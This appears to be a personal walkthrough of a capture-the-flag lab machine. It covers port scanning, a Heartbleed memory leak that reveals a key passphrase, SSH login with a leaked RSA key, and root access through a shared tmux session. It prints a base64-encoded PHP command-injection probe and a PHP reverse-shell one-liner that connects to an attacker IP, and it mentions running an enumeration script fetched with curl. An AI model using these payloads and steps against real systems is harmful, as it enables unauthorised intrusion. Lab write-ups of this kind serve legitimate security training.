Tracker

• User
• root  

Loot

Proofs

Passwords

Interesting Artifacts

Summary

OS: Linux

Distribution: Ubuntu - Precise

Architecture: ?

FQDN: ?

vhosts: ?

Lessons Learned

Solution

Open Ports

ssh on tcp/22
OpenSSH 5.9p1 Debian 5ubuntu1.10

http on tcp/80
Apache/2.2.22

https on tcp/443
Apache/2.2.22

Foothold

I began this machine with the same initial methodology. 3 Nmap scans, quick, full, udp top 20, and followed up with service specific scans.

The SSL cert on tcp/443 is leaking information, including the machine hostname. I added it to my hosts file.

The OpenSSL version running on tcp/443 is vulnerable to the Heartbleed bug.

The SSH service script scan reported that the SSH servers supports pubkey and pwd authentication.

The nmap http service scan on tcp/80 reported a potentially interesting folder at /dev/, and that the host uses PHP/5.3.10 through the X-Powered-By: header.

The index.html page of both http and https are the same, just an image.

Navigating to the hostname instead of straight IP doesn't change anything.

Oh what the fuck is this? There's encode and decode folders found by gobuster.

Navigating to /dev/ displays a dir tree, containing the files hype_key and notes.txt.

The contents of notes.txt leaked information about the decoder/encoder and their potential vulnerabilities.

I used cyberchef to quickly convert the hype_key file contents from hex to UTF-8, and I saw that it was an RSA Private Key.

I saved the key to my loot folder, then started thinking about how I could use it. I came back around to the encode/decode pages, and the notes.txt that said to make sure execution is done client site. The coding is base64, and thanks to the x-powered-by header, I know this box runs php. Also because the file extensions lol. Can I pass a basae64 encoded php tag to the decoder and get it to execute? I attempted with an 'id' command. The output isn't displayed, so I think this means it executed.

echo "<?php echo system('id'); ?>" | base64
PD9waHAgZWNobyBzeXN0ZW0oJ2lkJyk7ID8+Cg==

I base64 encoded a php reverse shell oneliner.

echo '<?php $sock=fsockopen("10.10.14.25",443);exec("/bin/bash -i <&3 >&3 2>&3"); ?>'|base64
PD9waHAgJHNvY2s9ZnNvY2tvcGVuKCIxMC4xMC4xNC4yNSIsNDQzKTtleGVjKCIvYmluL2Jhc2ggLWkgPCYzID4mMyAyPiYzIik7ID8+Cg==

  //BREAK//

Ok, I came back to this after a few days and decided to just check out the ippsec video on this. Turns out this box is vulnerable to heartbleed, so I might have been going down a rabbit hole earlier there.

I downloaded the heartbleed.py PoC from eelsivart's github, then I ran it with the -x flag to enable hex output.

I changed the PoC payload length from 4000 hex to 1000 hex.

There appears to be some base64 in the response around hex 0130.

The decoded string is "heartbleedbelievethehype".

Since the RSA key is named "hype_key", I'll assume that the key is following standard naming convention and belongs to the user hype, and I'll attempt to log in with it via SSH.

User Compromise

EoP Enumeration

The user's bash history file shows that they had run tmux.

I used curl to execute linux smart enum out of memory.

The /usr/bin/tmux process is running as root, with the same session as the one specified in user hype's bash_history.

I was able to execute the same command, spawning me into a tmux session in the context of root.

root/SYSTEM Compromise

Next: Conceal